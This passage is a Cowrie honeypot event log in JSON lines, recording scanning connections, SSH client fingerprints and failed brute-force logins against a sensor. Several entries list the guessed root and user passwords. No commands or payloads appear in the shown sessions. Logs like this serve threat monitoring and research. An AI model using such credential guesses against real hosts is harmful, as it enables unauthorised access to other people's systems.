{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":40230,"dst_ip":"10.17.0.5","dst_port":23,"session":"366d5c9fbad3","protocol":"telnet","message":"New connection: 66.223.49.88:40230 (10.17.0.5:23) [session: 366d5c9fbad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:24:25.636371Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":44768,"dst_ip":"10.17.0.5","dst_port":22,"session":"b59c64180f62","protocol":"ssh","message":"New connection: 148.230.169.229:44768 (10.17.0.5:22) [session: b59c64180f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:24:43.274842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:24:43.280348Z","src_ip":"148.230.169.229","session":"b59c64180f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:24:43.345005Z","src_ip":"148.230.169.229","session":"b59c64180f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps123!@#","message":"login attempt [root/vps123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:24:43.645717Z","src_ip":"148.230.169.229","session":"b59c64180f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:24:44.714328Z","src_ip":"148.230.169.229","session":"b59c64180f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.633334398269653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:24:57.269551Z","src_ip":"66.223.49.88","session":"366d5c9fbad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":58164,"dst_ip":"10.17.0.5","dst_port":22,"session":"5609fa1b2cd2","protocol":"ssh","message":"New connection: 112.151.178.49:58164 (10.17.0.5:22) [session: 5609fa1b2cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:23.184793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:23.189668Z","src_ip":"112.151.178.49","session":"5609fa1b2cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:23.395325Z","src_ip":"112.151.178.49","session":"5609fa1b2cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Berbidvps.ir","message":"login attempt [root/Berbidvps.ir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:24.247009Z","src_ip":"112.151.178.49","session":"5609fa1b2cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:25.454881Z","src_ip":"112.151.178.49","session":"5609fa1b2cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":42490,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e2cf23c4f28","protocol":"ssh","message":"New connection: 58.186.20.101:42490 (10.17.0.5:22) [session: 8e2cf23c4f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:46.449672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:46.454323Z","src_ip":"58.186.20.101","session":"8e2cf23c4f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:46.714716Z","src_ip":"58.186.20.101","session":"8e2cf23c4f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2000","message":"login attempt [root/admin2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:47.789644Z","src_ip":"58.186.20.101","session":"8e2cf23c4f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:49.052040Z","src_ip":"58.186.20.101","session":"8e2cf23c4f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00137734413147,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:54.560862Z","src_ip":"31.43.241.152","session":"d526eb98064d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00182890892029,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:57.083063Z","src_ip":"31.43.241.152","session":"2ed873072626","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":38762,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba90fa1b332e","protocol":"telnet","message":"New connection: 31.43.241.152:38762 (159.203.135.109:23) [session: ba90fa1b332e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:25:57.327103Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":53718,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d6db5ccb9f","protocol":"ssh","message":"New connection: 190.244.39.232:53718 (10.17.0.5:22) [session: 69d6db5ccb9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:27:54.429085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:27:54.444053Z","src_ip":"190.244.39.232","session":"69d6db5ccb9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:27:54.644206Z","src_ip":"190.244.39.232","session":"69d6db5ccb9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"123456789","message":"login attempt [test2/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:27:55.439141Z","src_ip":"190.244.39.232","session":"69d6db5ccb9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:27:56.643101Z","src_ip":"190.244.39.232","session":"69d6db5ccb9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00128602981567,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:27:57.328244Z","src_ip":"31.43.241.152","session":"ba90fa1b332e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":48358,"dst_ip":"159.203.135.109","dst_port":23,"session":"a54a1b13ff34","protocol":"telnet","message":"New connection: 31.43.241.152:48358 (159.203.135.109:23) [session: a54a1b13ff34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:27:57.676411Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":48540,"dst_ip":"159.203.135.109","dst_port":23,"session":"805fe205da69","protocol":"telnet","message":"New connection: 31.43.241.152:48540 (159.203.135.109:23) [session: 805fe205da69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:28:02.886564Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38366,"dst_ip":"159.203.135.109","dst_port":22,"session":"61b772596b69","protocol":"ssh","message":"New connection: 194.59.206.2:38366 (159.203.135.109:22) [session: 61b772596b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:29:36.383229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:29:37.898900Z","src_ip":"194.59.206.2","session":"61b772596b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:29:37.902517Z","src_ip":"194.59.206.2","session":"61b772596b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:29:39.796459Z","src_ip":"194.59.206.2","session":"61b772596b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00116682052612,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:29:57.677476Z","src_ip":"31.43.241.152","session":"a54a1b13ff34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0022201538086,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:02.888638Z","src_ip":"31.43.241.152","session":"805fe205da69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":58168,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f9132003861","protocol":"telnet","message":"New connection: 31.43.241.152:58168 (159.203.135.109:23) [session: 8f9132003861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:03.371428Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35872,"dst_ip":"10.17.0.5","dst_port":23,"session":"be8c3426a953","protocol":"telnet","message":"New connection: 137.184.155.248:35872 (10.17.0.5:23) [session: be8c3426a953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:07.761550Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46022,"dst_ip":"10.17.0.5","dst_port":23,"session":"a52b10de1651","protocol":"telnet","message":"New connection: 137.184.155.248:46022 (10.17.0.5:23) [session: a52b10de1651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:16.317741Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50738,"dst_ip":"10.17.0.5","dst_port":23,"session":"5647daf48d54","protocol":"telnet","message":"New connection: 137.184.155.248:50738 (10.17.0.5:23) [session: 5647daf48d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:23.705878Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50744,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf475e57b7d","protocol":"telnet","message":"New connection: 137.184.155.248:50744 (10.17.0.5:23) [session: 0bf475e57b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:25.240706Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":32910,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2a9413ba783","protocol":"ssh","message":"New connection: 78.128.112.74:32910 (159.203.135.109:22) [session: c2a9413ba783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:30.533323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:30.758746Z","src_ip":"78.128.112.74","session":"c2a9413ba783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:30.763504Z","src_ip":"78.128.112.74","session":"c2a9413ba783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"open","message":"login attempt [user/open] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:32.094348Z","src_ip":"78.128.112.74","session":"c2a9413ba783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:33.213572Z","src_ip":"78.128.112.74","session":"c2a9413ba783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47824,"dst_ip":"10.17.0.5","dst_port":23,"session":"32f7fb5c46d0","protocol":"telnet","message":"New connection: 137.184.155.248:47824 (10.17.0.5:23) [session: 32f7fb5c46d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:40.046346Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":33868,"dst_ip":"10.17.0.5","dst_port":23,"session":"41adf5609691","protocol":"telnet","message":"New connection: 137.184.155.248:33868 (10.17.0.5:23) [session: 41adf5609691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:43.726514Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":33884,"dst_ip":"10.17.0.5","dst_port":23,"session":"1111ee471bbc","protocol":"telnet","message":"New connection: 137.184.155.248:33884 (10.17.0.5:23) [session: 1111ee471bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:50.278907Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35534,"dst_ip":"10.17.0.5","dst_port":23,"session":"42a1d3670da2","protocol":"telnet","message":"New connection: 137.184.155.248:35534 (10.17.0.5:23) [session: 42a1d3670da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:52.900212Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":36140,"dst_ip":"10.17.0.5","dst_port":22,"session":"6da657e1b0a3","protocol":"ssh","message":"New connection: 148.230.169.229:36140 (10.17.0.5:22) [session: 6da657e1b0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:53.753846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:30:53.759605Z","src_ip":"148.230.169.229","session":"6da657e1b0a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-n